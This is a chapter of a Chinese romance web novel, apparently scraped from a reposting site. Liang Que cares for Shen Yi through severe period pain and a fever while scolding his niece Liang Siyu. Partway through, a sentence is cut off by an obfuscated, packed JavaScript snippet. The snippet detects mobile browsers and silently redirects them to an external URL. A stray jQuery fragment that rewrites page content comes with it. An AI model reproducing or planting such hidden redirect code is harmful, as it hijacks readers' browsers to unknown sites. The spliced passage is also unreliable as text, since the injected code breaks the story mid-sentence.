33. 第 33 章

作品:《越轨引诱

    这个想法像流星一样,在沈疑心里一闪而过。


    然后,雁过不留痕地划了过去。


    也是,梁确那么聪明,又是梁思语的叔叔,理论上对她有血脉压制。


    那她有没有撒谎,他不是能一眼看出来?


    好像也没什么值得奇怪的。


    “……”


    另一边,两人的争吵还在继续。


    “我都上高中了连谈恋爱的资格都没有?我干什么了?不知道还以为我杀人放火了……”


    梁思语正喋喋不休,梁确打完电话,跟梁峋确认完他女儿的人身安全,就把手机放回口袋。


    “总之我现在不回去!最起码要在这里待到过年……”


    梁确没理她,瞄了眼一直震动的手机,径直走向独自坐在长椅上的沈疑。


    “……”


    寒意无孔不入。沈疑低着头,看见那双纯黑色的马丁靴在自己跟前站定。


    莫名有种死到临头的感觉。


    自己要不要先开口认个错?


    视线再往上扫,是他西裤下的一截紧实修长的小腿。


    梁确衣服上的每一处细节都被打理得非常好,即使是最容易沾灰的裤脚,依然纤尘不染,黑得发亮。


    到膝盖的长款大衣被拉起,他在她面前蹲下。


    寒风簌簌,橙黄色的灯火落至他那张折叠度极高的脸上,在眼睫上氤氲出一团团光雾,眨眼间似带了无尽的暖意。


    梁确的眉眼间距较窄,内眼角尖而微向下勾,眼尾上挑。


    双眼皮是开扇型的,看人时锋利且攻击性十足。


    此刻,颜色很浅的瞳孔里却有情绪在涌动,尽数将锋芒遮盖。


    风声过耳,想象中劈头盖脸的痛骂并没有落下。他清润的声音具有安抚的意味:


    “沈疑,有哪里不舒服?”


    “……”


    坐在椅子上吹了会风,沈疑觉得自己连喉咙也痛了起来,顺着那过分熟悉的语调实话实说:“生理期,有点痛经。”


    然后再加一句:“可能还有点感冒,我一会自己先叫车回去。”


    梁确说不用:“上车,我送你。”


    “但是……”她觉得不太好,一来他还着急处理梁思语的事,二来自己帮着梁思语骗人,有错在先,也是他应该骂的对象之一。


    “先上去。”梁确起身去开副驾驶的车门。


    “……”沈疑难受得缩在座位上,迷迷糊糊系好安全带。又听见梁确凶巴巴在叫侄女的名字,让她一起跟上。


    ……


    梁思语坐在后座跟梁确置气,梁确也不搭理她,专心开车。


    从申科大回酒店,路上要经过挺长时间。


    期间经过一个路口,沈疑实在受不了了,让梁确靠边停车,自己在人行道上蹲一会。


    她脸色白得吓人,头发被冷汗浸湿。见梁确跟着自己下车,努力摆手,说:“你先带梁思语回去吧,我缓缓再叫车。”


    梁确自动忽略了她的提议:“我去给你买止痛药。”


    拿手机查了下地图,最近的药店离这三百来米,不算远:“你上车等着,别在外面,冷。”


    沈疑:“车上我想吐。”


    见她情愿蹲在冷风里发抖,梁确把自己的大衣脱下来,盖在她身上。


    他身上的衣服总带有沈疑叫不出名的香气,面料柔软很温暖。


    她哆嗦了下,下意识把那件衣服裹紧,把脸埋进去,假装自己是一只缩脖子的鸵鸟。


    莫名心安。


    大衣对蹲着的沈疑来说过于长了,下摆被迫和人来人往的地面产生亲密接触。


    白天刚下过雨,地砖凹缝里还有泥泞的雨水。衣角浸在里面,颜色逐渐变深。


    梁思语怕沈疑悄无声息地晕过去,此刻也拉开车门,站在人行道上看着她。


    “……”


    梁确回来的很快,手上还拿着杯从咖啡店要来的热水。


    他就蹲在沈疑身边,看着她慢吞吞地把药吃下去,再把水喝完。


    热水下肚,先前的不适稍稍被驱散。


    沈疑抬眼,见梁确和梁思语都围在自己身边,想着还是赶紧站起来再说。


    她蹲久了,肚子又很疼,腿部肌肉的支撑有点跟不上,看上去怪吓人的。


    “……”梁确紧紧盯住沈疑起身的动作,手在半空中,随时准备搀扶,但最终还是没有直接冒昧地碰上去。


    只是确保,能够在沈疑要摔跤时第一时间抓住她,不让她受伤。


    “……”


    有惊无险回到车里,她把梁确的大衣当成被子,一直遮到自己鼻子下方。


    期间,听见梁确和梁思语交流了几句,也没听清,自顾自闭上眼睛,想眯一会。


    梁确过来帮她调下座椅靠背。


    他的手臂越过沈疑的身体,正专心观察一个对她来说最舒服的角度。


    偏偏沈疑这时候肚子又疼起来,手在身前想捏个东西泄力,恰好抓住了梁确的手腕。


    手腕的触感非常柔软,一时没感觉到骨头的存在。


    他从来精心熨烫平整的衬衫袖口被她揉皱。


    汗水沁进去,留下不规则的湿痕。


    沈疑碰到的是他的右手,刚好是缝针的地方。


    梁确一声不吭,任由她抓,耐心等待她的这波疼痛过去。


    随后,再启动汽车返程。


    “……”


    大约二十分钟后,车开回酒店附近,沈疑终于感觉意识重新回到了自己脑海里,坐直身体,长舒一口气:“到哪了?”


    “……”回答她的是梁确冷峻的侧脸。


    对方正专心开车,完全没有跟她搭腔的意图。


    沈疑方才反应过来,自己刚刚好像把梁确当司机使唤了。


    正想补救,发现他的大衣还盖在自己身上。


    想起一些梁确把衣服递给自己的片段,她开始思考到底是把衣服给他干洗完送回去,还是另外给他买一件新的?


    前者适用于他本人比较喜欢这件衣服,后者显得她比较有诚意。


    大脑飞速运转时,背后的梁思语在叫她:“学姐。”


    “嗯?”她转头。


    梁思语露出两个尖尖的虎牙,一副看好戏的神情:


    “你是不是梁确的女朋友啊?”


    沈疑:“?”


    没看见梁确都不爱搭理自己,而且自己现在正为弄脏了他的衣服而提心吊胆嘛?


    这都能把自己看成梁确的女朋友,眼力也是蛮牛的。


    “梁思语!”


    梁确的声音明显不悦,夹杂着压抑过后的怒火:“谁允许你乱说话的?”


    “……”梁思语一直都有点怕梁确,闻言怔住。


    反倒沈疑一向很开得起玩笑,跳出来打圆场:“哈哈,其实也不用,我不太在意这些,没关系的。”


    话音刚落,驾驶座的梁确扫来寒意十足的一眼。


    沈疑:“……”


    哦,原来梁确是觉得梁思语把他和自己想成一对,冒犯了他。


    他在意,他有关系。


    那梁思语还是道歉吧。


    :)


    梁思语老老实实地道了歉,车内的气压变得极低。


    沈疑又开始思考该如何处理盖在自己身上的大衣。


    一直思考到回了房间,也没思考出个所以然来。


    索性瘫在床上,闭眼睡觉。


    ……


    另一边。


    梁思语被梁确带着,回到46楼。他拿出手机,准备再给梁峋打个电话。


    见躲不过去,梁思语又试图在他房间里乱翻一气,以此分散他的注意力。


    几个Jellycat的包装盒被找了出来。


    “别碰我东西。”梁确顺手抢过,居高临下:“想好怎么跟你爸解释。”


    “那我也是——”刚想说话,又被他冷冽的目光吓得一哆嗦,只能恹恹闭嘴。


    她很害怕梁确拷问自己


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832070|154596||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    跟男友的详细进展,提心吊胆坐在一边。


    她知道梁确眼里容不得沙子,对欺骗的容忍度为零。


    奇怪的是,今天晚上梁确的注意力,好像从头到尾都没有完全集中在自己身上。


    “……”他先对着微信里某个联系人打了几行字,然后又仔细通读一遍,再按下发送,颇为正式。


    不知道另一边的收信人是谁。


    梁思语小心翼翼地试探:“你在跟沈学姐聊天?”


    梁确熄掉屏幕:“你爸过两天就回国。”


    “……”


    *


    大概是冬季的冷风过于给力,沈疑睡到半夜,还是难逃发烧的厄运。


    她被一通电话吵醒。


    电话那头的熊丽华状若癫狂,沈疑半梦半醒间,只听见断断续续的:“人家说我把快递拿错了,走廊那么黑,那个送快递的把我们的跟隔壁的堆在一起,谁看得到了?你爸跟人家解释的好像是我故意偷了人家快递一样……”


    “我本来就不能激动的,一生气就要全身发抖,你看我现在,那么晚了还睡不着觉……”


    沈疑嗯了一会,不得不哑着嗓子开口:“妈我明天再跟你说行么?我现在……有点不舒服。”


    “你怎么了?”她语气放缓了点。


    沈疑就以为是可以跟她说的:“生理期,肚子很疼,现在还发烧了。”


    然而对面的第一句话就是:“你是不是又吃止痛药了?”


    “……”


    “跟你说了多少次不能乱吃止痛药的,一点点痛忍一下就过去了。这点都忍不了?”


    熊丽华仅仅只是缓和了一瞬,随后态度急转直下:“你跟你爸都是,从来不听我话,你们以后怎么样都跟我没关系!”


    “……”理论上说,吃止痛药的副作用比硬忍疼痛小得多,并且很多都不具备成瘾性。


    但熊丽华紧接着又开始一段牢骚,让人没有插话的机会。


    “生理期谁没痛过?怎么别人都好好的,忍一忍就过去了,就你一个人非得吃止痛药呢?这点痛都挨不了,娇气成这样,以前就是太宠你了……”


    挂断电话,沈疑只觉脑袋连着喉咙快疼炸了,浑身冷得发颤。


    她想看一眼手机上的时间显示,意外看见树洞在晚上九点半左右发来一条消息:


    ——【今天怎么一天没有理我,生病了还是太累了?最近天气很冷,要好好休息,多喝热水,也可以喝点红枣桂圆茶,你们赛事酒店旁边的奶茶店就有外卖送。还有,要多吃点红肉才能增加抵抗力。(如果很困了或者不舒服就不要回复了)】


    沈疑哆嗦着,一字一句给他回复:


    【生理期,痛经,好难受。】


    【还发烧了:(】


    【我快被烧傻了,感觉全身上下都在痛。】


    马上凌晨两点了,树洞居然还没有睡觉:


    ——【你身边有退烧药吗?】


    ——【现在发到几度?】


    ——【你感觉冷不冷?如果是细菌性发热必须得去医院挂水。】


    “……”之后几天没有自己的比赛,沈疑破罐子破摔:


    【没事,死不了。】


    【我走不动路,一个人也没法去医院。】


    【睡两天就好了。】


    回完消息,她试图闭上眼睛。


    但浑身的高热让她无法入睡,整个人冷得像是□□被丢到北极。


    好难受。


    房间里一片漆黑。独处时生病,人会变得格外脆弱。沈疑觉得心口酸酸的,把被子捂得更紧。


    就在此时,梁确的短信发来:


    ——【梁思语说你发烧了。】


    沈疑挑眉,心想还是女孩子细心,自己那会都没察觉到。


    很可能在学校里已经开始体温升高了,但是被痛经盖过去了。


    她正要回复,下一秒,梁确发来的新短信是:


    ——【把衣服换好,我在你门口等你,带你去医院。】